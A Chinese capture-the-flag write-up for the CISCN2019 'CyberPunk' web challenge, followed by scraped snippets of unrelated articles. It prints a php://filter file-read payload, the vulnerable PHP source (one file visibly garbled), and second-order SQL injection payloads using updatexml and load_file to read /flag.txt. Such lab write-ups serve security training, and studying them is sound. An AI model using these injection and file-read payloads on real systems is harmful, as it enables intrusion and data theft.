[CISCN2019 华北赛区 Day1 Web5]CyberPunk 1

目录

  • 题目分析
    • 功能点分析
    • 伪协议读取源码
      • search.php
      • change.php
      • delete.php
      • confirm.php
    • 代码分析
  • 解法一
  • 解法二

题目分析

功能点分析

在这里插入图片描述
看到查询界面,第一时间想到了xss,经过测试存在xss,但没用
然后想到了sql注入,注册的时候在地址的位置输入一个单引号,再点击修改收货地址的时候报错(为什么直接测地址的输入框呢?纯第六感)
在这里插入图片描述
将报错注入的payload写上去,并没有成功读到内容,猜测变量应该是在sql语句中的位置不对

伪协议读取源码

右键查看页面源代码
在这里插入图片描述
发现一个file参数,尝试伪协议读取代码

payload:?file=php://filter/read=convert.base64-encode/resource=index.php

读取成功,base64解码后得到源代码
在这里插入图片描述
然后又分别读取了以下页面的代码

search.phpchange.phpdelete.phpconfirm.php

search.php

<?phprequire_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();if(!$row) {echo 'error';print_r($db->error);exit;}$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>

change.php

<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = addslashes($_POST["address"]);$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];$result = $db->query($sql);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单修改成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>

delete.php

<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单删除成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>

confirm.php

phprequire_once config.php;
var_dump($_POST);if(!empty($_POST[user_name]) && !empty($_POST[address]) && !empty($_POST[phone]))
{$msg = '';$pattern = 'selectinsertupdatedeleteandorjoinlikeregexpwhereunionintoload_fileoutfilei';$user_name = $_POST[user_name];$address = $_POST[address];$phone = $_POST[phone];if (preg_match($pattern,$user_name)  preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = select  from `user` where `user_name`='{$user_name}' and `phone`='{$phone}';$fetch = $db-query($sql);}if($fetch-num_rows0) {$msg = $user_name.已提交订单;}else{$sql = insert into `user` ( `user_name`, `address`, `phone`) values( , , );$re = $db-prepare($sql);$re-bind_param(sss, $user_name, $address, $phone);$re = $re-execute();if(!$re) {echo 'error';print_r($db-error);exit;}$msg = 订单提交成功;}
} else {$msg = 信息不全;
}

代码分析

先丢到代码审计系统里边自动审计一下
在这里插入图片描述
显示change中可能存在sql注入

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

去掉双引号的sql语句为

update `user` set `address`='.$address.', `old_address`='.$row['address'].' where `user_id`=.$row['user_id'];

代码中将$use_name和$number进行了过滤,没有对$address进行过滤,可以对该参数进行构造
有两种思路
1、使用报错函数,注册的时候构造address字段,点击修改信息时,会调用注册时输入的address的内容,从而产生二次注入
2、修改订单时使用子查询给address赋值,然后点击查询订单也可以得到我们想要的信息

解法一

报错函数的位置在where后面,构造payload

payload:1' where `user_id`=updatexml(1,concat(0x7e,database(),0x7e),1)#

在这里插入图片描述
注册完成后点击修改订单,输入姓名、电话后点击提交,注入成功
在这里插入图片描述
按照正常思路,接下来爆破库名、表名、字段名,然后得到flag
然而,本题的flag在flag.txt文件中(呜呜红温了)
同样的操作方法

payload:1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

在这里插入图片描述
这个报错函数只显示30位,再查询后面几位

payload:1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),31,60)),0x7e),1)#

在这里插入图片描述

解法二

先看payload

payload:address=',`address`=(select(load_file("/flag.txt")))#

构造后的sql语句

原查询语句:update `user` set `address`='.$address.', `old_address`='.$row['address'].' where `user_id`=.$row['user_id'];
构造后语句:update `user` set `address`='',`address`=(select(load_file("/flag.txt")))#

通过子查询,将所有的address全部赋值为我们要查询的内容,然后通过查询订单得到内容
提交一个正常的订单,然后在修改订单界面输入payload,点击修改订单在这里插入图片描述
然后点击查询订单在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3280086.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

nginx实战与负载均衡

一、nginx实战 1、nginx 反向代理配置 &#xff08;1&#xff09;概述 反向代理&#xff1a;⽤户直接访问反向代理服务器就可以获得⽬标服务器&#xff08;后端服务器&#xff09;的资源。 &#xff08;2&#xff09;修改配置 [rootserver2 ~]# vim /usr/local/nginx/conf/ng…

学习日记:排序

目录 1.选择排序 2.冒泡排序 3.插入排序 4.查找 4.1 二分查找 1.选择排序 思想&#xff1a;给合适的位置选择合适的数&#xff08;用后面的数依次跟指定位置上的数比较&#xff0c;如果后面的书比指定位置的数小&#xff0c;就交换两个数&#xff0c;依次重复&#xff0c;一…

API 接口自动化测试的基本原理及实战教程

常用API接口协议介绍 HTTP协议 超文本传输协议 它是用来在Internet上传送超文本的传送协议&#xff0c;运行在TCP/IP协议族之上&#xff0c;它可以使浏览器更加高效&#xff0c;使网络传输减少。 任何服务器除了包括HTML文件以外&#xff0c;还有一个HTTP驻留程序&#xf…

(day28)leecode——有效括号

描述 数字 n 代表生成括号的对数&#xff0c;请你设计一个函数&#xff0c;用于能够生成所有可能的并且 有效的 括号组合。 示例 1&#xff1a; 输入&#xff1a;n 3 输出&#xff1a;["((()))","(()())","(())()","()(())","…

【Unity动画】Animation Sequencer:动画制作的革新工具

在Unity游戏开发中&#xff0c;动画是提升玩家体验的关键因素。传统的动画制作方式往往耗时且复杂&#xff0c;但有了Animation Sequencer&#xff0c;这一过程将变得更加直观和高效。本文将介绍Animation Sequencer这一视觉工具&#xff0c;探讨其如何帮助开发者在Unity编辑器…

案例分享-国外轻松感UI设计赏析

国外UI设计倾向于采用简洁的布局、清晰的排版和直观的交互方式&#xff0c;减少用户的认知负担&#xff0c;从而营造出轻松的使用体验。这种设计风格让用户能够快速找到所需信息&#xff0c;降低操作难度&#xff0c;提升整体满意度。 在注重美观的同时&#xff0c;更加重视用户…

技术详解:互联网医院系统源码与医保购药APP的整合开发策略

本篇文章&#xff0c;小编将从系统架构、数据安全、用户体验和技术实现等方面详细探讨互联网医院系统与医保购药APP的整合开发策略。 一、系统架构 1.模块化设计 互联网医院系统与医保购药APP的整合需要采用模块化设计。 2.微服务架构 每个功能模块作为一个独立的微服务&am…

成为git砖家(9): git checkout <commit> <file> 的含义

文章目录 1. 目的2. 官方文档解释3. Tower 的解释4. References 1. 目的 git checkout 命令承载了非常多的功能&#xff0c; 想要一次全弄懂&#xff0c;不太现实&#xff1b; 这次白鱼带领大家学习 git checkout <file> 的用法。 老规矩&#xff0c;先查看 git checko…

DRAM的可靠性受什么因素影响

挑战 随着IC尺寸的不断减小&#xff0c;它们变得更容易受到多种环境因素的损害&#xff0c;尤其是对于放置在高温或低温且空气中含有微粒的恶劣环境中的系统。在远程维护受限的室外偏远地区设置的系统特别容易受到攻击。 IC质量不均。晶圆内的IC可能不一定具有相同的质量。一个…

PSINS工具箱函数介绍——kfinit0

【注】本文所述的函数kfinit0不同于kfinit&#xff0c;后者的讲解链接见&#xff1a;PSINS工具箱函数介绍——kfinit kfinit是kf的参数初始化函数&#xff0c;用于初始化滤波参数 本文所述的代码需要基于PSINS工具箱&#xff0c;工具箱的讲解&#xff1a; PSINS初学指导&…

金额转换题目

import java.util.Scanner;/*** author gyf* ClassName Test* Date 2024/7/30 17:51* Version V1.0* Description : 金额转换*/ public class Test {public static void main(String[] args) {Scanner scanner new Scanner(System.in);int money;// 输入验证while (true) {Sys…

进程间通信与线程间通信的方法汇总

目录 一、进程间通信机制 管道(pipe)&#xff1a; 命名管道(FIFO)&#xff1a; 消息队列(MQ)&#xff1a; 信号量(semaphore)&#xff1a; 共享内存(shared memory)&#xff1a; 信号(signal)&#xff1a; 内存映射(mapped memory)&#xff1a; 内存映射和共享内存的区…

【论文共读】【翻译】【GAN】Generative Adversarial Nets

论文原文地址&#xff1a;https://arxiv.org/pdf/1406.2661 翻译&#xff1a;Generative Adversarial Nets 生成对抗网络 0. 摘要 提出了一种新的对抗过程估计生成模型的框架&#xff0c;其中我们同时训练两个模型&#xff1a;一个是捕获数据分布的生成模型G&#xff0c;另一…

RCE和php文件上传

一、远程命令执行&#xff08;RCE&#xff09; RCE漏洞概述 RCE漏洞允许攻击者通过某种方式在目标服务器上执行任意命令。这种漏洞通常出现在服务器端语言中&#xff0c;如PHP。 RCE漏洞原理 PHP中的一些函数可以执行命令或代码&#xff0c;但如果对这些函数的输入未加限制&a…

Docker容器下面home assistant忘记账号密码怎么重置?

环境&#xff1a; docker ha 问题描述&#xff1a; Docker容器下面home assistant忘记账号密码怎么重置&#xff1f; 解决方案&#xff1a; 你可以按照以下步骤来找回或重置密码&#xff1a; 方法一 (未解决) 停止并删除当前的Home Assistant容器&#xff08;确保你已经保…

【Python工具】Python 实现 telnet、loguru 框架下的 DEBUG 分级日志打印

文章目录 1、背景2、轮子2.1、telnet2.2、loguru DEBUG 日志分级 1、背景 最近业务这边需要用 Python 起一个 web 服务器&#xff0c;做 LLM 相关的业务处理。后台选用的是 django 框架做 web 框架&#xff0c;现在也算结项了。初次写 Python&#xff0c;造出来的轮子啥的总结…

Redis学习[3] ——持久化

四. Redis 持久化 4.1 Redis 如何保证数据不丢失&#xff1f; 由于Redis的数据是保存在内存中&#xff0c;而内存中的数据会在Redis重启后丢失。因此&#xff0c;为了保证数据不丢失&#xff0c;Redis实现了数据持久化的机制。这个机制会将内存中的数据存储到磁盘&#xff0c…

【前端 · 面试 】JavaScript 之你不一定会的基础题(一)

最近我在做前端面试题总结系列&#xff0c;感兴趣的朋友可以添加关注&#xff0c;欢迎指正、交流。 争取每个知识点能够多总结一些&#xff0c;至少要做到在面试时&#xff0c;针对每个知识点都可以侃起来&#xff0c;不至于哑火。 JavaScript 之你不一定会的基础题 前言 面试往…

[LLM]一文学会如何构建属于私有Code Pilot

本文将使用基于Llama.cpp的插件Tabby构建个人Code Pilot助手。 首先我们看一下编码的大模型榜单&#xff0c;在抱抱脸上bigcode上可以参考。 给VSCode插上翅膀 榜单上排名第一的是OpenCodeInterpreter-DS-33B&#xff0c;看起来很强大但是显然 MAC M1 是跑不了。虽然 MAC M1可…